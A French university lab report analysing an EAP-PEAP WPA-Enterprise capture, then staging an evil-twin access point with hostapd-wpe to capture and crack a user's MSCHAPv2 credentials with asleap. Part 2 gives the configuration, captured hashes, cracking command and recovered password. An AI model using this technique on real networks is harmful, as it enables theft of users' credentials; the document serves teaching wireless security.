

Labo 3

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Partie 1

- canal utilisé par l'ap : canal 6

- Phase d'initiation :

1	0.000000	Cisco_4d:14:40	RivetNet_d4:c7:31	EAP	63	Request, Identity
2	0.000127	RivetNet_d4:c7:31	Cisco_4d:14:40	EAP	36	Response, Identity
3	0.004110	Cisco_4d:14:40	RivetNet_d4:c7:31	EAP	24	Request, TLS EAP (EAP-TLS)
4	0.004206	RivetNet_d4:c7:31	Cisco_4d:14:40	EAP	24	Response, Legacy Nak (Response Only)
5	0.006529	Cisco_4d:14:40	RivetNet_d4:c7:31	EAP	24	Request, Protected EAP (EAP-PEAP)

1-2 : Phase d'initiation 3-5 : Négotiation du protocole d'échange

Dans cette phase (paquet 2) on peut voir l'identité de la personne :

```
▼ Extensible Authentication Protocol
  Code: Response (2)
  Id: 1
  Length: 18
  Type: Identity (1)
  Identity: yann.lederrey
```

- Phase Hello :

6	0.006742	RivetNet_d4:c7:31	Cisco_4d:14:40	TLSv1.2	325	Client Hello
7	0.037246	Cisco_4d:14:40	RivetNet_d4:c7:31	TLSv1.2	1030	Server Hello, Certificate, Server Key Exchang...
8	0.037327	RivetNet_d4:c7:31	Cisco_4d:14:40	EAP	24	Response, Protected EAP (EAP-PEAP)
9	0.040491	Cisco_4d:14:40	RivetNet_d4:c7:31	TLSv1.2	1026	Server Hello, Certificate, Server Key Exchang...
10	0.040548	RivetNet_d4:c7:31	Cisco_4d:14:40	EAP	24	Response, Protected EAP (EAP-PEAP)
11	0.043149	Cisco_4d:14:40	RivetNet_d4:c7:31	TLSv1.2	257	Server Hello, Certificate, Server Key Exchang...

Version :

```
Version: TLS 1.2 (0x0303)
```

Méthode de compression proposée par le client :

```
▼ Compression Methods (1 method)
  Compression Method: null (0)
```

Méthode de compression choisie par le serveur :

```
Compression Method: null (0)
```

Suites cryptographiques proposée par le client

▼ Cipher Suites (85 suites)

Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02c)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (0xc028)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384 (0xc024)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA (0xc00a)
Cipher Suite: TLS_DH_DSS_WITH_AES_256_GCM_SHA384 (0x00a5)
Cipher Suite: TLS_DHE_DSS_WITH_AES_256_GCM_SHA384 (0x00a3)
Cipher Suite: TLS_DH_RSA_WITH_AES_256_GCM_SHA384 (0x00a1)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_GCM_SHA384 (0x009f)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 (0x006b)
Cipher Suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 (0x006a)
Cipher Suite: TLS_DH_RSA_WITH_AES_256_CBC_SHA256 (0x0069)
Cipher Suite: TLS_DH_DSS_WITH_AES_256_CBC_SHA256 (0x0068)
Cipher Suite: TLS_DHE_RSA_WITH_AES_256_CBC_SHA (0x0039)
Cipher Suite: TLS_DHE_DSS_WITH_AES_256_CBC_SHA (0x0038)
Cipher Suite: TLS_DH_RSA_WITH_AES_256_CBC_SHA (0x0037)
Cipher Suite: TLS_DH_DSS_WITH_AES_256_CBC_SHA (0x0036)
Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0088)
Cipher Suite: TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA (0x0087)
Cipher Suite: TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0086)
Cipher Suite: TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA (0x0085)
Cipher Suite: TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384 (0xc032)
Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384 (0xc02e)
Cipher Suite: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384 (0xc02a)
Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384 (0xc026)
Cipher Suite: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA (0xc00f)
Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA (0xc005)
Cipher Suite: TLS_RSA_WITH_AES_256_GCM_SHA384 (0x009d)
Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA256 (0x003d)
Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035)
Cipher Suite: TLS_RSA_WITH_CAMELLIA_256_CBC_SHA (0x0084)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02b)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256 (0xc027)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256 (0xc023)
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)
Cipher Suite: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA (0xc009)
Cipher Suite: TLS_DH_DSS_WITH_AES_128_GCM_SHA256 (0x00a4)
Cipher Suite: TLS_DHE_DSS_WITH_AES_128_GCM_SHA256 (0x00a2)
Cipher Suite: TLS_DH_RSA_WITH_AES_128_GCM_SHA256 (0x00a0)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (0x009e)
Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 (0x0067)

Cipher Suite: TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 (0x0040)
 Cipher Suite: TLS_DH_RSA_WITH_AES_128_CBC_SHA256 (0x003f)
 Cipher Suite: TLS_DH_DSS_WITH_AES_128_CBC_SHA256 (0x003e)
 Cipher Suite: TLS_DHE_RSA_WITH_AES_128_CBC_SHA (0x0033)
 Cipher Suite: TLS_DHE_DSS_WITH_AES_128_CBC_SHA (0x0032)
 Cipher Suite: TLS_DH_RSA_WITH_AES_128_CBC_SHA (0x0031)
 Cipher Suite: TLS_DH_DSS_WITH_AES_128_CBC_SHA (0x0030)
 Cipher Suite: TLS_DHE_RSA_WITH_SEED_CBC_SHA (0x009a)
 Cipher Suite: TLS_DHE_DSS_WITH_SEED_CBC_SHA (0x0099)
 Cipher Suite: TLS_DH_RSA_WITH_SEED_CBC_SHA (0x0098)
 Cipher Suite: TLS_DH_DSS_WITH_SEED_CBC_SHA (0x0097)
 Cipher Suite: TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0045)
 Cipher Suite: TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA (0x0044)
 Cipher Suite: TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0043)
 Cipher Suite: TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA (0x0042)
 Cipher Suite: TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256 (0xc031)
 Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256 (0xc02d)
 Cipher Suite: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256 (0xc029)
 Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256 (0xc025)
 Cipher Suite: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA (0xc00e)
 Cipher Suite: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA (0xc004)
 Cipher Suite: TLS_RSA_WITH_AES_128_GCM_SHA256 (0x009c)
 Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA256 (0x003c)
 Cipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f)
 Cipher Suite: TLS_RSA_WITH_SEED_CBC_SHA (0x0096)
 Cipher Suite: TLS_RSA_WITH_CAMELLIA_128_CBC_SHA (0x0041)
 Cipher Suite: TLS_ECDHE_RSA_WITH_RC4_128_SHA (0xc011)
 Cipher Suite: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA (0xc007)
 Cipher Suite: TLS_ECDH_RSA_WITH_RC4_128_SHA (0xc00c)
 Cipher Suite: TLS_ECDH_ECDSA_WITH_RC4_128_SHA (0xc002)
 Cipher Suite: TLS_RSA_WITH_RC4_128_SHA (0x0005)
 Cipher Suite: TLS_RSA_WITH_RC4_128_MD5 (0x0004)
 Cipher Suite: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA (0xc012)
 Cipher Suite: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA (0xc008)
 Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA (0x0016)
 Cipher Suite: TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA (0x0013)
 Cipher Suite: TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA (0x0010)
 Cipher Suite: TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA (0x000d)
 Cipher Suite: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA (0xc00d)
 Cipher Suite: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA (0xc003)
 Cipher Suite: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a)
 Cipher Suite: TLS_EMPTY_RENEGOTIATION_INFO_SCSV (0x00ff)

Cipher suite choisie par le serveur: **Cipher Suite: TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (0xc030)**

▼ Random: 028c7f2694b67d81ac97d73175cfe0e774f0dc29550e4f2f...

Nonces : GMT Unix Time: May 10, 1971 23:20:22.000000000 CET
 Random Bytes: 94b67d81ac97d73175cfe0e774f0dc29550e4f2f3787bf3e...


Session ID : **Session ID: e6538179a86c9566205f95d6e569508586bba56bf3366ef9...**

- Phase d'échange de certificat : La transmission du certificat serveur et faites dans la phase Hello.

12 0.044423	RivetNet_d4:c7:31	Cisco_4d:14:40	TLSv1.2	150 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
13 0.047665	Cisco_4d:14:40	RivetNet_d4:c7:31	TLSv1.2	75 Change Cipher Spec, Encrypted Handshake Message
14 0.047808	RivetNet_d4:c7:31	Cisco_4d:14:40	EAP	24 Response, Protected EAP (EAP-PEAP)

12 : Transmission du Pre Master Secret 13 : Envoie d'une signature au client pour que l'AP s'authentifie auprès du client (hash de tous les échanges) 14 : Ack

Certificat serveur : Change cipher spec :



- Authentification interne et transmission de la clé WPA (échange chiffré) :

15	0.050303	Cisco_4d:14:40	RivetNet_d4:c7:31	TLSv1.2	58 Application Data
16	0.050372	RivetNet_d4:c7:31	Cisco_4d:14:40	TLSv1.2	71 Application Data
17	0.052792	Cisco_4d:14:40	RivetNet_d4:c7:31	TLSv1.2	84 Application Data
18	0.052942	RivetNet_d4:c7:31	Cisco_4d:14:40	TLSv1.2	125 Application Data
19	0.058811	Cisco_4d:14:40	RivetNet_d4:c7:31	TLSv1.2	104 Application Data
20	0.058924	RivetNet_d4:c7:31	Cisco_4d:14:40	TLSv1.2	59 Application Data
21	0.061281	Cisco_4d:14:40	RivetNet_d4:c7:31	TLSv1.2	57 Application Data

- Success de l'échange:

22	0.061352	RivetNet_d4:c7:31	Cisco_4d:14:40	EAP	24 Response, Protected EAP (EAP-PEAP)
23	0.069797	Cisco_4d:14:40	RivetNet_d4:c7:31	EAP	22 Success

- 4-way handshake:

24	0.069963	Cisco_4d:14:40	RivetNet_d4:c7:31	EAPOL	135 Key (Message 1 of 4)
25	0.070179	RivetNet_d4:c7:31	Cisco_4d:14:40	EAPOL	135 Key (Message 2 of 4)
26	0.071587	Cisco_4d:14:40	RivetNet_d4:c7:31	EAPOL	169 Key (Message 3 of 4)
27	0.071647	RivetNet_d4:c7:31	Cisco_4d:14:40	EAPOL	113 Key (Message 4 of 4)

Question : _ Quelle ou quelles méthode(s) d'authentification est/sont proposé(s) au client ?

Réponse : Le serveur propose d'abord "EAP-TLS", le client refuse, le serveur propose ensuite "EAP-PEAP"

3	0.004110	Cisco_4d:14:40	RivetNet_d4:c7:31	EAP	24 Request, TLS EAP (EAP-TLS)
4	0.004206	RivetNet_d4:c7:31	Cisco_4d:14:40	EAP	24 Response, Legacy Nak (Response Only)
5	0.006529	Cisco_4d:14:40	RivetNet_d4:c7:31	EAP	24 Request, Protected EAP (EAP-PEAP)

Question: Quelle méthode d'authentification est utilisée ?

Réponse: "EAP-PEAP"

Question: Lors de l'échange de certificats entre le serveur d'authentification et le client :

- Le serveur envoie-t-il un certificat au client ? Pourquoi oui ou non ?

Réponse: Oui le serveur envoie son certificat au client afin de s'authentifier. (c'est demandé par le protocol "EAP-PEAP")

- b. Le client envoie-t-il un certificat au serveur ? Pourquoi oui ou non ?

Réponse: Non, dans le cas de "EAP-PEAP", le client n'envoie pas de certificat (contrairement au protocol "EAP-TLS", dans lequel les deux envoient un certificat.)

Partie 2

Dans le fichier `/etc/hostapd-wpe/hostapd-wpe.conf` il faut choisir le SSID que l'on veut générer le canal

```
interface=wlan0mon
...
# 802.11 Options
ssid=HEIG-VD-GUEST
channel=6
```

Il faut mettre l'interface en mode monitor

On peut ensuite starter le tool qui va générer un AP avec le ssid que l'on a choisi ici HEIG-VD-GUEST.

En se connectant dessus il catch le challenge response échanger avec l'AP. Depuis celui-ci il est possible de faire un brut force sur le mot de passe utilisé avec l'outil `asleap` qui permet de faire le calcul challenge - response et faire la comparaison.

```
mschapv2: Mon May 27 15:08:44 2019
username: joel.schar
challenge: f3:a9:bd:d3:09:53:b0:3b
response: ba:ed:ae:32:ff:57:ba:88:32:0d:e4:ef:a8:bb:c4:04:4f:29:f7:4c:41:26:31:f5
jtr NETNTLM:
joel.schar:$NETNTLM$f3a9bdd30953b03b$baedae32ff57ba88320de4efa8bbc4044f29f74c412631f5
hashcat NETNTLM:
joel.schar:::baedae32ff57ba88320de4efa8bbc4044f29f74c412631f5:f3a9bdd30953b03b
```

Avec un dictionnaire custom contenant le mot de passe que l'on inject dans asleap on peut récupérer le mot de passe utiliser pour calculer le challenge et donc le mot de passe de l'utilisateur.

```
mschapv2: Mon May 27 15:08:53 2019
username: joel.schar
challenge: 08:47:4f:b5:d6:d2:1d:59
response: 2f:3b:95:25:eb:55:e8:be:8a:c1:f2:69:85:55:08:92:a7:e1:dc:10:33:5b:9f:a7
jtr NETNTLM: joel.schar:$NETNTLM$08474fb5d6d21d59$2f3b9525eb55e8be8ac1f26985550892a7e1dc10335b9fa7
hashcat NETNTLM: joel.schar:::2f3b9525eb55e8be8ac1f26985550892a7e1dc10335b9fa7:08474fb5d6d21d59
wlan0mon: STA e8:50:8b:90:e3:63 IEEE 802.1X: Identity received from STA: 'joel.schar'
wlan0mon: STA e8:50:8b:90:e3:63 IEEE 802.1X: Identity received from STA: 'joel.schar'
wlan0mon: CTRL-EVENT-EAP-FAILURE e8:50:8b:90:e3:63
wlan0mon: STA e8:50:8b:90:e3:63 IEEE 802.1X: authentication failed - EAP type: 0 (unknown)
wlan0mon: STA e8:50:8b:90:e3:63 IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP)
wlan0mon: STA e8:50:8b:90:e3:63 IEEE 802.11: deauthenticated due to local deauth request
^Cwlan0mon: interface state ENABLED->DISABLED
wlan0mon: AP-DISABLED
wlan0mon: CTRL-EVENT-TERMINATING
nl80211: deinit ifname=wlan0mon disabled_11b_rates=0
root@kali:~# ls
Desktop Downloads Music psk-01.cap psk-01.kismet.csv psk-01.log.csv Templates
Documents hostapd-wpe.log Pictures psk-01.csv psk-01.kismet.netxml Public Videos
root@kali:~# ls Documents/
luadec script ex1.py script_ex2.py
root@kali:~# vim testdic.txt
root@kali:~# cat testdic.txt | asleap -C 08:47:4f:b5:d6:d2:1d:59 -R 2f:3b:95:25:eb:55:e8:be:8a:c1:f2:69:85:55:08:92:a7:e1:dc:10:33:5b:9f:a7 -W -
asleap 2.2 - actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
Using STDIN for words.
hash bytes: 6ad6
NT hash: 7ce21f17c0aee7fb9ceba532d0546ad6
password: 1234
root@kali:~#
```

Question : Quelles modifications sont nécessaires dans la configuration de hostapd-wpe pour cette attaque ?

Réponse : définir le ssid et donner le channel, ici : HEIG-VD-GUEST, channel 6, et indiquer l'interface utilisée.

Question: Quel type de hash doit-on indiquer à john pour craquer le handshake ?

Réponse: On indique le challenge et le response.

Question: 6.Quelles méthodes d'authentification sont supportées par hostapd-wpe ?

Réponse: il support :

- EAP-FAST/MSCHAPv2
- PEAP/MSCHAPv2
- EAP-TTLS/MSCHAPv2
- EAP-TTLS/MSCHAP
- EAP-TTLS/CHAP
- EAP-TTLS/PAP